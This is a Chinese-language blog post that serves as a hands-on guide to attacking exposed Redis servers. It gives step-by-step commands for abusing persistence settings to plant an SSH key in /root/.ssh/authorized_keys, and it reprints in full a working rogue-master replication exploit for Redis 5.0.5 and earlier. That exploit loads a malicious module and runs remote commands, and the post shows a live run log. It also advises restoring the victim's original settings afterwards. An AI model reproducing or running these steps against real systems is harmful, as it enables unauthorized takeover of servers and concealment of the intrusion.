Redis-漏洞

Redis-漏洞

Redis-漏洞

工具

安装redis-cli客户端连接

Windows 版 redis-cli(非官方)GitHub / tporadowski / redis:

text-plain 复制代码
https://github.com/tporadowski/redis/releases

建议下载免安装版本:Redis-x64-5.0.14.1.zip

zip下载解压后,建议设置环境遍历,方便运行

连接Redis服务器

text-plain 复制代码
redis-cli -h [IP] -p [port] -a [password]

-h:服务器地址

-p:Redis运行端口【默认6379】

-a:Redis服务器密码【默认为空】

连上服务器后先 PING一下看看通联情况

利用-持久化

查看持久化机制

Redis 有 两种持久化机制 :1️⃣ RDB(快照)2️⃣AOF(日志)

RDB 写的是"当前内存里的所有数据"

AOF 写的是"文本形式的命令"

查看是否开启【RDB】持久化

如果save值为空,则表示没启动

text-plain 复制代码
CONFIG GET save

查询结果

  • 900 秒内有 1 次写 → 保存
  • 300 秒内有 10 次写 → 保存
  • 60 秒内有 10000 次写 → 保存
text-plain 复制代码
127.0.0.1:6379> CONFIG GET save
1) "save"
2) "900 1 300 10 60 10000"

查看保存路径和文件名

text-plain 复制代码
CONFIG GET dbfilename
CONFIG GET dir

查询结果

  • 保存文件名:dump.rdb
  • 保存目录:/tmp/redis/redis/redis-5.0.14
text-plain 复制代码
192.168.75.131:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"
192.168.75.131:6379> CONFIG GET dir
1) "dir"
2) "/tmp/redis/redis/redis-5.0.14"
查看是否开启【AOF】持久化

如果appendonly值为no,则表示没启动

text-plain 复制代码
CONFIG GET appendonly

查看存储策略

策略 含义 安全性 性能
always 每次写都刷盘 最高 最慢
everysec 每秒刷一次 推荐 平衡
no OS 决定 最差 最快
text-plain 复制代码
CONFIG GET appendfsync

查看保存文件名,可能查不到

text-plain 复制代码
CONFIG GET appendfilename

ssh密钥写入【cron利用失败】

生成ssh密钥

本地生成SSH密钥对(如果已有可跳过)

  • 公钥【放服务器】:id_rsa_ssh.pub
  • 私钥【连服务器】:id_rsa_ssh
text-plain 复制代码
ssh-keygen -t rsa -f id_rsa_ssh

ssh密钥 写入 到 Redis 内存中

ssh和Cron都是逐行扫描密钥、忽略二进制和错误格式的数据,并且没有报错提示,所以ssh读取密钥的时候,乱码会被自动忽略

写入的key名称别重复,或者被覆盖

text-plain 复制代码
set [key] "\n\\n  authorized_keys  \n\\n"

设置:存储目录、存储名称、保存

RDB

记得把人家原来的存储位置和存储文件名改回去

查看持久化目录【RDB和AOF都是使用一个目录存储】

text-plain 复制代码
config get dir

查看持久化文件名称

text-plain 复制代码
config get dbfilename

修改持久化目录

这里演示的是root,记得改成对于的用户名,并且使用该用户名+密钥登陆

不知道用户名称可以使用脚本破解

text-plain 复制代码
config set dir /root/.ssh/
config set dir /usr/local/zhuzi/soft/redis/redis-8.2.2/bin/bin

报错解析

报错内容 报错解释
(error) ERR Changing directory: Permission denied (错误)更改目录时出错:权限被拒绝
(error) ERR Changing directory: No such file or directory 报错:(错误)更改目录时出错:没有这样的文件或目录
(error) ERR unknown command 'CONFIG' 命令被 禁用或重命名
(error) ERR CONFIG SET failed (possibly related to protected-mode) protected-mode 开启或者Redis 判断该操作具有风险
(error) ERR Changing directory: Operation not permitted OS 层拒绝(非文件权限问题)

修改持久化文件名称

text-plain 复制代码
config set dbfilename authorized_keys

手动触发存储

text-plain 复制代码
save      # 同步(阻塞)
bgsave    # 异步(推荐)

记得把人家原来的存储位置和存储文件名改回去


AOF

记得把人家原来的存储位置和存储文件名改回去

查看持久化目录【RDB和AOF都是使用一个目录存储】

text-plain 复制代码
CONFIG GET dir

查看持久化文件名称

text-plain 复制代码
CONFIG GET appendfilename

如果报错显示如下,说明修改不了,无法利用

text-plain 复制代码
192.168.75.131:6379> CONFIG GET appendfilename
(empty list or set)

修改持久化目录

这里演示的是root,记得改成对于的用户名,并且使用该用户名+密钥登陆

text-plain 复制代码
config set dir /root/.ssh/

报错解析

报错内容 报错解释
(error) ERR Changing directory: Permission denied (错误)更改目录时出错:权限被拒绝
(error) ERR Changing directory: No such file or directory 报错:(错误)更改目录时出错:没有这样的文件或目录
(error) ERR unknown command 'CONFIG' 命令被 禁用或重命名
(error) ERR CONFIG SET failed (possibly related to protected-mode) protected-mode 开启或者Redis 判断该操作具有风险
(error) ERR Changing directory: Operation not permitted OS 层拒绝(非文件权限问题)

修改持久化文件名称

text-plain 复制代码
config set dbfilename authorized_keys

手动触发存储

text-plain 复制代码
BGREWRITEAOF      #触发 AOF 重写
SET aof_test 1    #触发 AOF 缓冲区刷盘

判断 Redis 是否以 root 运行

从操作系统进程层面看(最可靠)

第一种命令

text-plain 复制代码
ps aux | grep redis

最左边那一列就是运行 Redis 的系统用户

text-plain 复制代码
root      1234  0.2  ... redis-server 127.0.0.1:6379

第二种命令

text-plain 复制代码
ps -o user,pid,cmd -C redis-server

这条命令的好处是:

  • 不会被 grep redis 的自身进程干扰
  • 输出更干净,适合写报告
text-plain 复制代码
>ps -o user,pid,cmd -C redis-server
USER       PID   CMD
xk         13346 redis-server *:6379

Redis(<=5.0.5) RCE

准备脚本和exp.so文件

两个终端需要互相访问,最后的"id"是执行的命令

text-plain 复制代码
python3 redis-master.py -r 被攻击方ip -p 6379 -L 攻击方ip -P 8888 -f exp.so -c "id"

结果如下

text-plain 复制代码
F:\XiaZai\redis-rogue-getshell-master>python redis-master.py -r 192.168.75.131 -p 6379 -L 192.168.75.1 -P 8888 -f exp.so -c "whoami"
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$12\r\n192.168.75.1\r\n$4\r\n8888\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
>> receive data: b'+OK\r\n'
>> receive data: b'*1\r\n$4\r\nPING\r\n'
>> receive data: b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
>> receive data: b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
>> receive data: b'*3\r\n$5\r\nPSYNC\r\n$40\r\n45730e185f41518fa29df21f4beb23f71b7ca557\r\n$1\r\n1\r\n'
>> send data: b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*2\r\n$11\r\nsystem.exec\r\n$6\r\nwhoami\r\n'
>> receive data: b'$4\r\nNxk\n\r\n'
Nxk

>> send data: b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'
>> receive data: b'+OK\r\n'

F:\XiaZai\redis-rogue-getshell-master>

python脚本

下载地址

text-plain 复制代码
https://github.com/vulhub/redis-rogue-getshell?tab=readme-ov-file

文件内容如下

text-plain 复制代码
#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"


class RoguoHandler(socketserver.BaseRequestHandler):
    def decode(self, data):
        if data.startswith(b'*'):
            return data.strip().split(DELIMITER)[2::2]
        if data.startswith(b'$'):
            return data.split(DELIMITER, 2)[1]

        return data.strip().split()

    def handle(self):
        while True:
            data = self.request.recv(1024)
            logging.info("receive data: %r", data)
            arr = self.decode(data)
            if arr[0].startswith(b'PING'):
                self.request.sendall(b'+PONG' + DELIMITER)
            elif arr[0].startswith(b'REPLCONF'):
                self.request.sendall(b'+OK' + DELIMITER)
            elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
                self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
                self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
                self.request.sendall(self.server.payload + DELIMITER)
                break

        self.finish()

    def finish(self):
        self.request.close()


class RoguoServer(socketserver.TCPServer):
    allow_reuse_address = True

    def __init__(self, server_address, payload):
        super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
        self.payload = payload


class RedisClient(object):
    def __init__(self, rhost, rport):
        self.client = socket.create_connection((rhost, rport), timeout=10)

    def send(self, data):
        data = self.encode(data)
        self.client.send(data)
        logging.info("send data: %r", data)
        return self.recv()

    def recv(self, count=65535):
        data = self.client.recv(count)
        logging.info("receive data: %r", data)
        return data

    def encode(self, data):
        if isinstance(data, bytes):
            data = data.split()

        args = [b'*', str(len(data)).encode()]
        for arg in data:
            args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg])

        args.append(DELIMITER)
        return b''.join(args)


def decode_command_line(data):
    if not data.startswith(b'$'):
        return data.decode(errors='ignore')

    offset = data.find(DELIMITER)
    size = int(data[1:offset])
    offset += len(DELIMITER)
    data = data[offset:offset+size]
    return data.decode(errors='ignore')


def exploit(rhost, rport, lhost, lport, expfile, command, auth):
    with open(expfile, 'rb') as f:
        server = RoguoServer(('0.0.0.0', lport), f.read())

    client = RedisClient(rhost, rport)

    lhost = lhost.encode()
    lport = str(lport).encode()
    command = command.encode()

    if auth:
        client.send([b'AUTH', auth.encode()])

    client.send([b'SLAVEOF', lhost, lport])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so'])
    time.sleep(2)

    server.handle_request()
    time.sleep(2)

    client.send([b'MODULE', b'LOAD', b'./exp.so'])
    client.send([b'SLAVEOF', b'NO', b'ONE'])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])
    resp = client.send([b'system.exec', command])
    print(decode_command_line(resp))

    client.send([b'MODULE', b'UNLOAD', b'system'])


def main():
    parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
    parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
    parser.add_argument("-p", "--rport", dest="rport", type=int,
                        help="target redis port, default 6379", default=6379)
    parser.add_argument("-L", "--lhost", dest="lhost", type=str,
                        help="rogue server ip", required=True)
    parser.add_argument("-P", "--lport", dest="lport", type=int,
                        help="rogue server listen port, default 21000", default=21000)
    parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
    parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id')

    parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
    options = parser.parse_args()

    filename = options.file
    if not os.path.exists(filename):
        logging.info("Where you module? ")
        sys.exit(1)

    exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth)


if __name__ == '__main__':
    main()

exp.so文件

下载地址

text-plain 复制代码
https://github.com/n0b0dyCN/redis-rogue-server
相关推荐
像少年啦飞驰点、1 小时前
零基础入门 Redis:从“缓存是什么”到手写一个简易购物车系统
java·spring boot·redis·缓存·编程入门·小白教程
wWYy.2 小时前
详解redis(7):数据结构List
数据库·redis·缓存
砚边数影2 小时前
时序数据库国产化替代,破局迁移“三不”困局
数据库·时序数据库·kingbase·kingbasees·金仓数据库
专注于大数据技术栈2 小时前
Redis 中 USED 和 RSS
数据库·redis·缓存
一个响当当的名号2 小时前
lectrue8 表索引
数据库
独自破碎E2 小时前
MySQL是怎么实现事务的?
数据库·mysql
卜锦元2 小时前
Docker Compose 部署 MySQL 8.4 LTS(生产级实践方案)
数据库·mysql·docker·容器
学嵌入式的小杨同学2 小时前
【嵌入式 C 语言高频考点】周测 + 期中真题解析:从基础语法到编程实战
c语言·数据结构·数据库·vscode·算法·面试
victory04312 小时前
梯度计算 反向传播会不会缓存loss的求导公式
缓存·自动微分·深度学习系统